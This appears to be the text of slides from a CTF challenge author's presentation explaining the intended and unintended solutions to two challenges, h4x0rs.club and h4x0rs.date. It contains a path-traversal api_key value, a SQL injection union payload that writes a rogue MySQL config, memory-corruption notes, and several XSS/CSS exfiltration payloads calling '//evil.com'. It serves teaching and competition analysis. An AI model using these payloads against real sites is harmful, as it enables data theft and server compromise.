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h4x0rs.club
• Client-side game ( javascript / html ) 
• Server-side game: 

• php as bridge 
• binary by pure C



h4x0rs.club pt.3
1. Ping 
2. Question / Answer 
3. Badges  
4. Save game 
5. Backup



3. Badges (1st bug)
- Is vulnerable to 

Traversal Directory —> Local File Disclosure 
  

- “backend” string is blacklisted. 
- You can leak all of source code and the binary



API Key(2nd bug)
- The code assumes that api_key always be alphabet 
characters. 

Attacker can input api_key such as: 

../../../../path/file_name%00%00%00 

and let it treat this path as api_key file path

Where && What  
should we read ?



4. Save game (3rd bug)
SQL Injection —> Write a file with controlled data. 
  



4. Save game (3rd bug)
a' union select (select biography from users where id = 1),’ 

[mysql] 
host=159.89.199.232 
user=game 
pass=abcd 
dbname=game_database 
[backup] 
key=aaa 

',3,'1770f34deb110b607905d413af152e425010adb8d6a124108cde32ee926577c1',5,6,7,
8,9,10 -- a

INI config



What now?
So we can make the binary connect to our side as 
MySQL server… 
Find more bugs!!! 
There is one left function in the binary 

backup



5. Backup (4th bug)

From now on, we can let token is any value  
since we already controlled API server config. 



FORMAT STRING 
with FORTIFY is ON 

Can not leak stack with arbitrary index. 







Infoleak
So you have to implement MySQL Server , then 
retrieve the leak back via the query. 



Stack overflow
Since you act like MySQL Server, who ensures that md5(…) 
always return 32 bytes ?



Stack overflow
Two times overflow ( w/ null-terminated string) 

1st time     Overwrite Return Address. 
2nd time    Recover stack cookie 



Ret to ?
We never reach this branch. 
So there is one buffer left (backup_key)



Ret to ?
Ret to badges function, where is receiving a buffer , then passes to 
READFILE later



Unintended way 
Dragon Sector && Cykor found that when we act like MySQL 
Server, we can read client’s files by LOAD DATA INFILE 

https://w00tsec.blogspot.com/2018/04/abusing-mysql-local-infile-to-read.html 



New binary
I added one more backdoor function receiving a buffer 
then passes to system to make life easier. 



h4x0rs.date
• Client-side web challenge 
• XSS at `profile.php` 

• Introduction div and texture 
• Manipulate assets file caching



The bug: csp.js cache

Cache-Control: 
max-age = 20





The id matters
The URLs must be matched. 

- The profile id come to play. 
- Profile id is regenerated once an user login. 



The 2nd bug: Data Exfiltration

EFAIL



The 2nd bug: Data Exfiltration
Google Chrome got mitigation by 
blocking URL which contains \n \t \r 

“Luckily”, the liked list contains none of them. 
By letting the admin likes himself (login.php?
redirect=like.php), we can get the id in the middle. 
Go register 2 users: 

blah’ src = ‘//evil.com/? 
blah‘ > 

http://evil.com/?


The 2nd bug: Data Exfiltration



The 2nd bug: Data Exfiltration
The other way (same bug) is using <style> tag (ROIS is the first 
team did that) 

<style> 
… 
… 
*{}@import url(‘//evil.com/… 
..’); 



<META> OVERRIDE
Another way (intended) is overriding <meta> tag 

<meta name="referrer" content=“always”> 
<img src=‘//evil.com/?….’> 

Even when CSP header no-referrer is enabled 



Unintended way
Create an user then make profile as: 

<style id=msg></style> 

By abusing `redirect` param. 
https://h4x0rs.date/login.php?redirect=profile.php?id={id}
%26msg=*{}*{background-image:url('//evil.com%252fleak.php?id= 

(Reported by team Nu1L)  

https://h4x0rs.date/login.php?redirect=profile.php?id=


Extract nonce



I’m using real….bot



DEMO 
The chain

Live PoC at:  
http://l4w.pw/hihi.html



Any questions ?



Thanks




